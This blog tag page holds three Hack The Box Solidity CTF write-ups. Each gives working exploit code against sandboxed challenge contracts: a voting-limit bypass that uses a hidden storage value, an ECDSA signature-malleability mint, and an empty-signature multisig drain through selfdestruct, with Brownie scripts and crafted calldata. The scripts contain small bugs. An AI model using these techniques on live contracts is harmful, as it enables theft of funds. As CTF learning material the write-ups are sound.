Skip to main content

3 posts tagged with "brownie"

View All Tags

· 8 min read
Kaan Caglan

2244 Elections is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting only 1ip port pairs. So our general approach is not going to work here.

docker spawned

And appearantly that ip:port pair is a web page.

creds

If we click the Connection button on right upper we get our credentials

{
"PrivateKey": "0x86e20db2fd41d46e3c1f9fba4251f47888ad2fce181d815fd6029883b22cad84",
"Address": "0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14",
"TargetAddress": "0x98cA011fAdCCef08800803Ce26319782B24F498E",
"setupAddress": "0x28744218B1B7938EAb17BA9d4847f4ceBD846444"
}

Source Codes

With this challenge we got only one contract and thats the Setup.sol and we don't have the source code of Target. So it will be kind of blackbox.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Voting} from "./Voting.sol";

contract Setup {
Voting public immutable TARGET;

constructor() payable {
require(msg.value == 1 ether);
TARGET = new Voting();
}

function isSolved() public view returns (bool) {
return (TARGET.WinningParty() == bytes3("UNZ"));
}
}

Solution

We can only see that the party UNZ should win for us to get the flag. And we have no idea what is written on Voting contract. So we need to track something from web page with the help of burp suite. I see there are couple POST /rpc requests when i refresh the page.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 250
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_call","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xb5b8f5bd426f410000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 20:58:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x0000000000000000000000000000000000000000000000000000000008f0d17f"}

So we can see that they are using Ethereum JSON-RPC for calls. From the data section on that json we can understand the function from function signature (first 4 bytes). If we just copy paste it to 4byte dictionary we can see that request is PartyVotes(bytes3) so it returns value and web page just creates animation for those percentages.

creds

If we click Vote and select UNZ and SEND we see another request

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 389
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xf163fff9554e5a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:05:16 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x7d7952651d5840ad2ea2e51dd482cd0579c902bb5f12e682d9b29821fd3529b1"}

And that 0xf163fff9 stands for publicVote(bytes3,bytes4,bytes3)

vote

So we know how to vote for our party. However if we try to resend that request we get "execution reverted: Already voted!" error. So we just can send 1 vote. We can try to get byteCode of this contract with the help of JSON-RPC.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 120
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_getCode","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x2"],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:09:11 GMT
Connection: close
content-type: application/json
Content-Length: 1875
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x6080604052600436101561001257600080fd5b6000803560e01c9081631ee7b2d7146100bd5781632a58bee1146100755750806386de697014610070578063aadd1d041461006b578063b5b8f5bd146100665763f163fff91461006157600080fd5b61019e565b610163565b610128565b6100d7565b346100ba5760203660031901126100ba576004356001600160a01b038116908190036100b65760408260ff9260209452600384522054166040519015158152f35b5080fd5b80fd5b346100ba57806003193601126100ba575460805260206080f35b346100f55760003660031901126100f5576020600254604051908152f35b600080fd5b600435906001600160e81b0319821682036100f557565b604435906001600160e81b0319821682036100f557565b346100f55760203660031901126100f5576101496101446100fa565b6102df565b005b62ffffff60e81b166000526004602052604060002090565b346100f55760203660031901126100f5576001600160e81b03196101856100fa565b1660005260046020526020604060002054604051908152f35b346100f55760603660031901126100f5576101b76100fa565b602435906001600160e01b0319821682036100f557610149916101d8610111565b6101ec6101e48461014b565b54151561025f565b60e81c906001549060e01c1460011461024a575060015b336000908152600360205260409020546102209060ff16156102a2565b62ffffff61022d8361014b565b9116815401905533600052600360205260016040600020556102df565b33600052600360205260006040812055610203565b1561026657565b60405162461bcd60e51b8152602060048201526014602482015273506172747920646f65736e27742065786973742160601b6044820152606490fd5b156102a957565b60405162461bcd60e51b815260206004820152600e60248201526d416c726561647920766f7465642160901b6044820152606490fd5b6001600160e81b03191660008181526004602052604090205460025411156103045750565b6080817fba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d8692600055604051908152604060208201526011604082015270776f6e2074686520456c656374696f6e7360781b6060820152a156fea264697066735822122049861426e16379e484aec538daf43f9ae57a34b7f04aead974fadddea7296b6064736f6c63430008140033"}

Now we have the bytecode of the contract. We can try to decode it with public decoders like dedaub. If we decompile it Dedaub gives us this decoded code.

// Decompiled by library.dedaub.com
// 2023.07.14 14:16 UTC
// Compiled using the solidity compiler version 0.8.20


// Data structures and variables inferred from the use of storage instructions
uint256 stor_0; // STORAGE[0x0]
uint256 stor_1; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]
mapping (uint256 => uint256) owner; // STORAGE[0x3]
mapping (uint256 => uint256) map_4; // STORAGE[0x4]



function 0xf163fff9(bytes3 varg0, bytes4 varg1, bytes3 varg2) public nonPayable {
require(~3 + msg.data.length >= 96);
require(!(varg0 - varg0));
require(!(varg1 - varg1));
require(!(varg2 - varg2));
require(!bool(!map_4[bytes3(varg0)]), Error("Party doesn't exist!"));
v0 = v1 = varg2 >> 232;
if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}
require(!bool(uint8(owner[msg.sender])), Error('Already voted!'));
map_4[varg0] = map_4[varg0] + uint24(v0);
owner[msg.sender] = 1;
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ce;
}
}

function 0xb5b8f5bd(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return map_4[varg0];
}

function 0xaadd1d04(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ad;
}
}

function 0x86de6970() public nonPayable {
require(~3 + msg.data.length >= 0);
return stor_2;
}

function 0x2a58bee1(address varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return bool(uint8(owner[address(varg0)]));
}

function 0x1ee7b2d7() public nonPayable {
require(msg.data.length + ~3 >= 0);
return stor_0;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(msg.data.length >= 4);
if (0x1ee7b2d7 == function_selector >> 224) {
0x1ee7b2d7();
} else if (0x2a58bee1 == function_selector >> 224) {
0x2a58bee1();
} else if (0x86de6970 == function_selector >> 224) {
0x86de6970();
} else if (0xaadd1d04 == function_selector >> 224) {
0xaadd1d04();
} else if (0xb5b8f5bd == function_selector >> 224) {
0xb5b8f5bd();
} else {
require(0xf163fff9 == function_selector >> 224);
0xf163fff9();
}
}

From here we can see function 0xb5b8f5bd and 0xf163fff9 which are stand for PartyVotes(bytes3) and publicVote(bytes3,bytes4,bytes3). So if we take a look to the PartyVotes function there is pretty much nothing special, it just gets one bytes3 variable which is in this case our party name and returns the value from map return map_4[varg0];. So we can assume that map_4 is responsible to count votes. However on publicVote(bytes3,bytes4,bytes3) function there are some interesting controls.

    if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}

If code enters to that if statement it just assigns 0 to owner[msg.sender] and which is controlled right after that if else block in require statement and raises error "Already voted" require(!bool(uint8(owner[msg.sender])), Error('Already voted!')); so it mean that owner map is controlling if msg.sender already voted or not. But if we bypass that if statement somehow it means we can vote again.

That if statement will be True only if 224 right shifted varg1 is equal to stor_1. To achieve this we need to find what is hidden in stor_1. We can do that again with JSON-Rpc with calling getStorageAt. And that stor_1 is on index 1.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 136
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_getStorageAt","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x1",
"latest"],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:17:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x00000000000000000000000000000000000000000000000000000000f00dbabe"}

So now we know that the value in stor_1 is 0xf00dbabe. And varg2 is used to increase vote count, and if we pass that if statement it means we can also give more vote than 1 in the same time. From the vote rpc request we know our party id is 0x554e5a, we know we should send varg1 as 0xf00dbabe and we also know varg2 is our vote power, so we can give it 0xffffff as maximum. To create this data we can write very small solidity code on local.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

contract GetData {
constructor() public {
}

function getData(bytes3 varg0, bytes4 varg1, bytes3 varg2) public view returns (bytes memory){
return abi.encodeWithSignature("publicVote(bytes3,bytes4,bytes3)", varg0, varg1, varg2);
}
}

And we can create that data with calling this function

>>> x = GetData.deploy({'from': accounts[0]})
Transaction sent: 0x5e53943d0e6d6510c021dc6f5e32f2068d5a2da597fcbf81265aefddac14dfba
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8
GetData.constructor confirmed Block: 9 Gas used: 132151 (1.10%)
GetData deployed at: 0x420b1099B9eF5baba6D92029594eF45E19A04A4A

>>> x.getData(0x554e5a, 0xf00dbabe, 0xffffff)
0xf163fff9554e5a0000000000000000000000000000000000000000000000000000000000f00dbabe00000000000000000000000000000000000000000000000000000000ffffff0000000000000000000000000000000000000000000000000000000000
>>>

So if we call vote request with this data we should be able to vote over and over again until we won the election. Since we can't vote anymore, we just need to restart machine, intercept our request and change data with this one.

flag

And after interception when we click Forward and refresh the page we see that our party got ~%10 more percentage and became %20.

flag

So if we keep sending same request ~8 times with the help of repeater we will won the election.

flag

FLAG

flag

· 6 min read
Kaan Caglan

Confidentiality is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting 2 different ip port pairs. From first question we know that

As you have already seen, there are 2 ports provided.

- The one port is the `tcp` port, which is used to retrieve information about connecting to the private chain, such as private key, and the target contract's addresses. You can connect to this one using `netcat`.
- The other port is the `rpc` url. You will need this in order to connect to the private chain.

In order to figure out which one is which, try using `netcat` against both. The one which works is the `tcp` port, while the other one is the `rpc url`.

One is TCP and the other one is RPC url.

docker spawned

If we try both we will see that 55531 port is the TCP one which we can retrieve information about challenge.

creds

So now we know our private key and the address of contracts.

Private key     :  0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6
Address : 0x75cDB60361347688c3cBC7fc16DE76dbBE0789C6
Target contract : 0xf2b742287005ef6b06C45f540dA5583569312E1f
Setup contract : 0x5917511316367ee9211004CC47CFaB737A165481

Connection

>>> from brownie import *

priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]

ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)

setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')

assert attacker.balance() > 0

>>> attacker.balance()
5000000000000000000000

brownie-config.yaml

networks:
default: development
development:
host: 94.237.55.114
port: 55676
network_id: "*"
chainid: 31337
cmd_settings:
unlock:
- 0x3f4f44912A322DCD02adB6640Ed38217BbFbcb98

Source Codes

This contract has 2 main solidity file and couple helpers. I won't paste helpers here because they are not vulnerable and they are just copy paste functions from openzeppelin.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {AccessToken} from "./AccessToken.sol";

contract Setup {
AccessToken public immutable TARGET;

constructor(address _owner, bytes memory signature) {
TARGET = new AccessToken(_owner);

// Secure 1 AccessToken for myself
TARGET.safeMintWithSignature(signature, address(this));
}

function isSolved(address _player) public view returns (bool) {
return TARGET.balanceOf(_player) > 0;
}
}

Campaign.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {ERC721} from "./lib/ERC721.sol";
import {Owned} from "./lib/Owned.sol";

contract AccessToken is ERC721, Owned {
uint256 public currentSupply;
bytes[] public usedSignatures;

bytes32 public constant approvalHash = 0x4ed1c9f7e3813196653ad7c62857a519087860f86aff4bc7766c8af8756a72ba;

constructor(address _owner) Owned(_owner) ERC721("AccessToken", "ACT") {}

function safeMint(address to) public onlyOwner returns (uint256) {
return _safeMintInternal(to);
}

function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");

usedSignatures.push(signature);

return _safeMintInternal(to);
}

function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);

return signer == owner;
}

function _isSignatureUsed(bytes memory _signature) internal view returns (bool) {
for (uint256 i = 0; i < usedSignatures.length; i++) {
if (keccak256(_signature) == keccak256(usedSignatures[i])) {
return true;
}
}
return false;
}

function _safeMintInternal(address to) internal returns (uint256) {
currentSupply += 1;
_safeMint(to, currentSupply);
return currentSupply;
}

// ##### Signature helper utilities

// utility function to deconstruct a signature returning (v, r, s)
function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return (v, r, s);
}

function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
return abi.encodePacked(r, s, v);
}
}

Solution

If we take a look to the Setup contract it can be seen that to solve this question we need to mint/transfer some TARGET tokens to ourself. And we know that TARGET is AccessToken from AccessToken.sol. The contract AccessToken has couple functions for mint operation however one is internal and one oft hem has a onlyOwner modifier. So it means there is only one mint function that we can call which is safeMintWithSignature. That function is checking the signature at very first to verify it and to see if that signature is used or not. Since there is a _isSignatureUsed function control it means we can not use previously given signatures. And on the constructor of Setup.py we know one signature used and pushed to the usedSignatures array. If we take a look to the _verifySignature function we can see that its just deconstructs the given signature to r, s, v and verifies it with ecrecover to see if signer is owner or not. Since we already have one valid signature we can try to use Signature Malleability vulnerability.

    function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");

usedSignatures.push(signature);

return _safeMintInternal(to);
}

function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);

return signer == owner;
}

So to check current valid hash we can do

>>> target.usedSignatures(0)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f1b
>>> target.deconstructSignature(target.usedSignatures(0))
(27, 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c, 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f)

We can use that v, r and s values t o create new signature

import ecdsa
v = 27
r = 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c
s = 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f

# ECDSA curve order
n = ecdsa.SECP256k1.order

# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28

print("New Signature: ", (v_new, r, s_new))

And the output is

New Signature:  (28, 85327200469984395632502839566776837187115176720309848430044766911403184373644, 88478607682956560751764001115168458186918560835760767434360627727659894119346)

So now we can construct new signature from this v,r,s pair and send it to target class to mint some tokens.

>>> new_v = 28
>>> new_r = 85327200469984395632502839566776837187115176720309848430044766911403184373644
>>> new_s = 88478607682956560751764001115168458186918560835760767434360627727659894119346
>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c

and use it on mint function.

>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c
>>> target.balanceOf(attacker)
0
>>> target.safeMintWithSignature(target.constructSignature(new_v, new_r, new_s), attacker, {'from': attacker})
Transaction sent: 0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc
Gas price: 0.0 gwei Gas limit: 30000000 Nonce: 2
AccessToken.safeMintWithSignature confirmed Block: 4 Gas used: 185202 (0.62%)

<Transaction '0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc'>
>>> target.balanceOf(attacker)
1

FLAG

flag

Brownie Script

from brownie import *

priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]

ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)

setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')

assert attacker.balance() > 0

import ecdsa
v,r,s = target.deconstructSignature(target.usedSignatures(0))
v = v_r_s[0]
r = v_r_s[1]
s = v_r_s[2]
# ECDSA curve order
n = ecdsa.SECP256k1.order

# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28

print("New Signature: ", (v_new, r, s_new))

target.safeMintWithSignature(target.constructSignature(v_new, r, s_new), attacker, {'from': attacker})

· 5 min read
Kaan Caglan

Funds Secured is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting 2 different ip port pairs. From first question we know that

As you have already seen, there are 2 ports provided.

- The one port is the `tcp` port, which is used to retrieve information about connecting to the private chain, such as private key, and the target contract's addresses. You can connect to this one using `netcat`.
- The other port is the `rpc` url. You will need this in order to connect to the private chain.

In order to figure out which one is which, try using `netcat` against both. The one which works is the `tcp` port, while the other one is the `rpc url`.

One is TCP and the other one is RPC url.

docker spawned

If we try both we will see that 40733 port is the TCP one which we can retrieve information about challenge.

creds

So now we know our private key and the address of contracts.

Private key           :  0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c
Address : 0x6363E5DEbc80d63F39816609C4Be458871Ce4df4
Crowdfunding contract : 0x78D3958259918349919A20582a02E32938e3928c
Wallet contract : 0x4657eC90D8791240D12928138c873118284BFe8C
Setup contract : 0x18d15f699D179FC5EF4B0738685Bee8543c19BBd

Connection

>>> from brownie import *

priv_key = '0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c'
accounts.add(private_key=priv_key)
attacker = accounts[-1]


ip_port = 'http://94.237.49.147:49417'
web3.connect(ip_port)



setup = Setup.at('0x18d15f699D179FC5EF4B0738685Bee8543c19BBd')
wallet = CouncilWallet.at('0x4657eC90D8791240D12928138c873118284BFe8C')
crowdFunding = Crowdfunding.at('0x78D3958259918349919A20582a02E32938e3928c')

assert attacker.balance() > 0
>>> attacker.balance()
5000000000000000000000
>>> crowdFunding.balance()
1100000000000000000000

brownie-config.yaml

networks:
default: development
development:
host: 94.237.49.147
port: 49417
network_id: "*"
chainid: 31337

Source Codes

This contract has 2 main solidity file and couple helpers. I won't paste helpers here because they are useless for this challenge.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";

contract Setup {
Crowdfunding public immutable TARGET;
CouncilWallet public immutable WALLET;

constructor() payable {
// Generate the councilMember array
// which contains the addresses of the council members that control the multi sig wallet.
address[] memory councilMembers = new address[](11);
for (uint256 i = 0; i < 11; i++) {
councilMembers[i] = address(uint160(i));
}

WALLET = new CouncilWallet(councilMembers);
TARGET = new Crowdfunding(address(WALLET));

// Transfer enough funds to reach the campaing's goal.
(bool success,) = address(TARGET).call{value: 1100 ether}("");
require(success, "Transfer failed");
}

function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}

Campaign.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {ECDSA} from "./lib/ECDSA.sol";

/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
using ECDSA for bytes32;

address[] public councilMembers;

/// @notice Register the 11 council members in the wallet
constructor(address[] memory members) {
require(members.length == 11);
councilMembers = members;
}

/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));

for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);

// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");

// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}

Crowdfunding(crowdfundingContract).closeCampaign(to);
}

/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
function _contains(address[] memory _array, address _address) private pure returns (bool) {
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _address) {
return true;
}
}
return false;
}
}

contract Crowdfunding {
address owner;

uint256 public constant TARGET_FUNDS = 1000 ether;

constructor(address _multisigWallet) {
owner = _multisigWallet;
}

receive() external payable {}

function donate() external payable {}

/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
}

Solution

If we take a look to the Setup contract it can be seen that to solve this question we need to make balance of TARGET 0. And we know that TARGET is Crowdfunding from Campaign.sol. The contract CrowdFunding has one function named closeCampaign which calls selfdestruct. And we know that if one contract calls selfdestruct all of the native tokens in the contract are transferred to the to parameter which is given as an argument to selfdestruct function. So somehow we need to call that function. On the contract CouncilWallet there is also another function named closeCampaign and at the end of that function it is calling closeCampaign function of the contract Crowdfunding. So it means as an attacker we need to call this function.

That function is getting an array of signatures and then it checks if all of the signatures are valid and it calls closeCampaign after that. However it can be seen that that function does not have any length restrictions for signatures array. So it means we can give empty signatures array to that function, give our address as to and give the address of Crowdfunding contract. At the end since it won't enter to the for loop it will directly call closeCampaign and we will have all the money.

POC

>>> wallet.closeCampaign([], attacker, crowdFunding.address, {'from': attacker})
Transaction sent: 0x7a88080ff4f023e7b5fa4e0d4489d627fb00de19727b11d3275b18f1afdce00c
Gas price: 0.0 gwei Gas limit: 30000000 Nonce: 0
CouncilWallet.closeCampaign confirmed Block: 2 Gas used: 33544 (0.11%)

<Transaction '0x7a88080ff4f023e7b5fa4e0d4489d627fb00de19727b11d3275b18f1afdce00c'>

>>> attacker.balance()
6100000000000000000000
>>> wallet.balance()
0

flag

Brownie Script

from brownie import *

priv_key = '0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c'
accounts.add(private_key=priv_key)
attacker = accounts[-1]


ip_port = 'http://94.237.49.147:49417'
web3.connect(ip_port)

setup = Setup.at('0x18d15f699D179FC5EF4B0738685Bee8543c19BBd')
wallet = CouncilWallet.at('0x4657eC90D8791240D12928138c873118284BFe8C')
crowdFunding = Crowdfunding.at('0x78D3958259918349919A20582a02E32938e3928c')

assert attacker.balance() > 0

wallet.closeCampaign([], attacker, crowdFunding.address(), {'from': attacker})

assert wallet.balance() == 0